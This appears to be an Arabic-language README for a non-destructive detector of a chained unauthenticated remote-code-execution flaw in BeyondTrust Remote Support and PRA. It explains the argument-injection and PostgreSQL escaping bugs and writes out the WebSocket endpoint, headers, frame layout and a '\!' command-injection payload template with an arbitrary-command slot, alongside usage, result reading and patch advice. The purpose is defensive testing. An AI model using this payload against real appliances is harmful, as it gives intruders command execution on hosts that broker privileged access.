
أداة كشف غير تخريبية لثغرة تنفيذ الأوامر عن بُعد (RCE) غير المصادق عليها في BeyondTrust Remote Support وPRA، عبر ربط حقن الوسائط (argument injection) وتجاوز هروب PostgreSQL للتحقق من قابلية الاستغلال من خلال التفاضل الزمني (time-based differential).
تحذير أخلاقي: لأغراض البحث والتعليم والاختبار المصرح به فقط. يرجى عدم استخدامه ضد الأنظمة دون إذن.
BeyondTrust Remote Support (RS) وPrivileged Remote Access (PRA) هما جهازان يوسطان الجلسات البعيدة المميزة إلى الأنظمة الداخلية للمؤسسة، لذا غالبًا ما يكونان معرّضين للإنترنت ويحملان موقعًا موثوقًا على الشبكة.
يمكن لمهاجم غير مصادق عليه يتمكن من الوصول إلى نقطة نهاية WebSocket الخاصة بالجهاز تنفيذ أوامر نظام التشغيل كمستخدم الموقع من خلال ربط ثغرتين: حقن وسائط في سكربت thin-scc-wrapper الخاص بالجهاز (CVE-2024-12356) وتجاوز هروب سلاسل PostgreSQL يحوّل بايت UTF-8 غير صالح إلى كسر مبكر لسلسلة SQL (CVE-2025-1094). يتم الوصول إلى المسار المعرض للخطر قبل أي مصادقة.
bt_rs_rce_check.py في هذا المستودع هو كاشف غير مدمر لتلك السلسلة. إنه يقود مسار الكود غير المصادق عليه الدقيق الذي يستخدمه الاستغلال الحقيقي لكنه يتوقف عند إثبات قابلية الوصول: الشيء الوحيد الذي يطلب من الهدف تنفيذه هو sleep غير ضار (تفاضل زمني) أو استعلام hostname/HTTP غير ضار إلى مجمع خارج النطاق تتحكم فيه. لا يفتح قشرة أو يكتب ملفات أو يقرأ بيانات أو يستمر أو يتحرك جانبيًا أبدًا.
psql عبر UTF-8 غير صالح، مرتبطة لإكمال RCEBT24-10-ONPREM1 / BT24-10-ONPREM2 للأجهزة المستضافة ذاتيًا؛ تم تصحيح مثيلات السحابة بواسطة BeyondTrust).CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hتنتج السلسلة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه كمستخدم الموقع على جهاز غرضه بالكامل هو التوسط في الوصول المميز إلى الأنظمة الداخلية، لذا يحوّل طلب مجهول واحد مضيف RS أو PRA معرضًا إلى نقطة ارتكاز ونقطة انطلاق نحو كل نظام سفلي يوسطه الجهاز.
لا يتطلب اعتمادات أو تفاعل مستخدم أو وصولًا مسبقًا: المهاجم خارجي ومجهول، والشرط المسبق الوحيد هو قابلية الوصول الشبكي إلى نقطة نهاية WebSocket الخاصة بالجهاز.
تم الإفصاح عن الثغرة بعد اكتشاف استغلالها في البرية، وأُضيفت إلى كتالوج CISA للثغرات المستغلة المعروفة في 19 ديسمبر 2024، وقد رُبطت علنًا باختراق ديسمبر 2024 لوزارة الخزانة الأمريكية المنسوب إلى جهة فاعلة ترعاها دولة.
يعيش المنطق المعرض للخطر في سكربت القشرة thin-scc-wrapper الخاص بالجهاز، والذي يقرأ مفتاح جلسة يتحكم فيه المهاجم (gskey) من إطار WebSocket غير مصادق عليه ويمرره نحو قاعدة البيانات. RCE الكامل هو سلسلة من ثلاث مشاكل متميزة.
1. حقن الوسائط في thin-scc-wrapper (CVE-2024-12356). يمرر الغلاف gskey غير الموثوق إلى مساعد بدون اقتباس، لذا تقسم القشرة الكلمة إلى وسائط قبل تشغيل echo:
quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote)
مفتاح يبدأ بـ -e يحوّل echo إلى echo -e، الذي يفسر هروب الشرطة المائلة ويسمح للمهاجم بإصدار بايتات خام عشوائية — الأهم \xC0 — في البيانات المتدفقة إلى المرحلة التالية. يتحكم المهاجم في علامة أمر موجود بدلاً من حقن أمر جديد، ولهذا يُعد هذا حقن وسائط (CWE-88) وليس حقن أوامر كلاسيكي.
2. تجاوز هروب PostgreSQL عبر UTF-8 غير صالح (CVE-2025-1094). يهرب dbquote القيمة باستخدام pg_escape_string() في PHP، الذي يستدعي PQescapeStringInternal() في libpq. بالنسبة لشخصية متعددة البايت، يثق في الطول المبلغ عنه بواسطة pg_encoding_mblen() وينسخ بايتات الشخصية حرفيًا، دون التحقق منها:
len = pg_encoding_mblen(encoding, source);
for (i = 0; i < len; i++) /* copy the character */
*target++ = *source++;
بايت مثل 0xC0 يعلن عن شخصية من بايتين، لذا يبتلع الهارب البايت التالي كـ"استمرار" له — حتى عندما يكون ذلك البايت علامة اقتباس مفردة (0x27). لذلك يمر التسلسل 0xC0 0x27 مع بايت علامة اقتباس مفردة غير مهروب ما زال مدمجًا في السلسلة "المهروبة".
3. psql يخرج من السلسلة الحرفية وينفذ \! (CVE-2025-1094). تُمرر السلسلة "المهروبة" إلى psql، الذي لا يعامل 0xC0 0x27 كشخصية واحدة، لذا يغلق 0x27 سلسلة SQL الحرفية مبكرًا ويُحلل كل ما بعده كمدخل جديد. يستخدم المهاجم ذلك للوصول إلى أمر psql الفوقي \!، الذي ينفذ أمر قشرة كمستخدم الموقع:
<0xC0>'; \! <cmd> #
وجدت Rapid7 أن RCE عمليًا يعتمد دائمًا على CVE-2025-1094، وأنها كافية وحدها: توصيل البايت الخام 0xC0 داخل إطار WebSocket ثنائي (بدلاً من إطار نصي، حيث يزيل التحقق من UTF-8) يصل إلى gskey دون تعديل ويطلق كسر SQL دون خطوة echo -e على الإطلاق. يستخدم هذا الكاشف نهج الإطار الثنائي.
السلسلة بأكملها قابلة للوصول قبل المصادقة عبر WebSocket واحد:
/nw (معالج Tornado على الجهاز).Sec-WebSocket-Protocol: ingredi support desk customer thin، المرسلة بترميز URL كـ ingredi%20support%20desk%20customer%20thin.Host (مرتبطة بشركة مثبتة) أو، كبديل، ترويسة X-Ns-Company. إذا لم يرتبط أي منهما بشركة مثبتة، يغلق الجهاز المقبس قبل معالجة gskey.1، ومعرف UUID لـ thinMint، وauthType 0 (مصادقة gskey)، ثم gskey الخبيث (الإصدار 1 يعني عدم وجود سطر locale_code):1
<thinMint UUID>
0
<0xC0>'; \! <cmd> #
يضيف BT24-10 بوابة تحقق من المدخلات ترفض أي gskey غير أبجدي رقمي قبل وصوله إلى dbquote/psql:
elif [[ ! "$gskey" =~ ^[a-zA-Z0-9]{32}$ ]]; then
blog "bad session key given"
...
exit 1
أي مفتاح يحتوي على 0xC0 أو علامة اقتباس أو حرف فوقي للقشرة يُرفض ويخرج السكربت، لذا ينتج الجهاز المصحح لا رد 1 failure ولا تنفيذ أوامر. يحوّل الكاشف ذلك الاختلاف السلوكي إلى تفاضل زمني مستقل عن الصادر لا يحتاج اتصالًا صادرًا من الهدف:
A × 32). على كل من الإصدارات المصححة وغير المصححة يصل إلى استعلام قاعدة البيانات ويعيد ['2\n', '1 failure\n'] بسرعة.<0xC0>'; \! sleep <delay> #. على مضيف معرض للخطر ينفذ psql أمر sleep المحقون، لذا يتأخر رد 1 failure بحوالي <delay> ثانية. على مضيف مصحح يرفض تعبير gskey النمطي المفتاح، ويخرج السكربت، ويغلق المقبس بسرعة دون رد.لأن الحكم يعتمد على توقيت رد الجهاز نفسه، يظل صحيحًا حتى عندما يحجب الهدف DNS/HTTP الصادر — وهي حالة يعطي فيها استدعاء OAST وحده نتيجة سلبية خاطئة. وضع الاستدعاء الاختياري هو تأكيد فقط، للمضيفين الذين يسمحون بالصادر.
ثبّت الاعتماد الوحيد:
pip install -r requirements.txt
الوضع التفاضلي (موصى به، مستقل عن الصادر):
python3 bt_rs_rce_check.py --target rs.example.com --mode differential
التفاضلي مع تأكيد OAST:
python3 bt_rs_rce_check.py --target rs.example.com \
--oast <your-collector>.oast.pro --mode both
عندما لا تحل ترويسة Host إلى مستأجر، قدم معرفًا صريحًا، أو ملفًا من المعرفات المرشحة (سطر واحد لكل معرف) تُجرَّب تباعًا عبر ترويسة X-Ns-Company:
python3 bt_rs_rce_check.py --target rs.example.com --company acme
python3 bt_rs_rce_check.py --target rs.example.com --company-list slugs.txt
الخيارات الرئيسية:
| الخيار | المعنى |
|---|---|
--target <host> | المضيف الظاهري / FQDN للجهاز (مطلوب). |
--company <slug> | معرف مستأجر صريح، يُرسل كـ X-Ns-Company. |
--company-list <file> | ملف من المعرفات المرشحة، تُجرَّب حتى يحل أحدها. |
--oast <domain> | نطاق مجمع خارج النطاق لتأكيد الاستدعاء. |
--mode {differential,callback,both} | استراتيجية الكشف (الافتراضي differential). |
--delay <seconds> | مدة sleep للاختبار الزمني (الافتراضي 9). |
--timeout <seconds> | مهلة مقبس كل فحص (الافتراضي 25). |
--header 'H: v' | ترويسة طلب خام إضافية؛ قابلة للتكرار. |
قراءة النتيجة:
VULNERABLE — تأخر رد 1 failure المحقون بحوالي --delay ثانية مقارنة بالتحكم. نُفذ sleep؛ سلسلة RCE غير المصادق عليها قابلة للاستغلال على هذا المضيف.PATCHED — أعاد التحكم 1 failure بسرعة، لكن الحقن رُفض دون رد. تعبير gskey النمطي في BT24-10 مطبق والحقن لا يصل أبدًا إلى مصب psql.UNRESOLVED ("company did not resolve") — لا أحد الفحصين أنتج 1 failure، لذا لم يصل التحكم إلى معالج gskey أيضًا. هذه ليست نتيجة مصححة؛ أغلق الجهاز المقبس لأن Host/الشركة لم يرتبط بشركة مثبتة. أعد المحاولة بالمضيف الظاهري الصحيح (--target) أو معرف صالح (--company / --company-list).طبّق BT24-10 (BT24-10-ONPREM1 / BT24-10-ONPREM2) أو قم بالترقية إلى ما بعد 24.3.1. لأن السلسلة تعتمد أيضًا على ثغرة PostgreSQL psql (CVE-2025-1094)، حافظ على تصحيح أدوات عميل PostgreSQL أيضًا، وقيّد التعرض الشبكي لنقطة نهاية WebSocket الخاصة بالجهاز حيثما أمكن.
psql عبر UTF-8 غير صالح / حقن SQL، مرتبطة لإكمال RCE.rapid7/metasploit-framework PR #19877، RCE غير مصادق عليه ضد BeyondTrust RS/PRA.هذه البرمجية مقدمة لاختبار الأمان المصرح به والبحث الدفاعي فقط. شغّلها حصريًا ضد أنظمة تملكها أو مخول كتابيًا باختبارها. إنها كاشف غير مدمر يتجنب عمدًا تنفيذ الأوامر المسلحة والوصول إلى البيانات والاستمرارية. أنت وحدك المسؤول عن الامتثال لجميع القوانين المعمول بها وعن الحصول على التفويض المناسب؛ لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.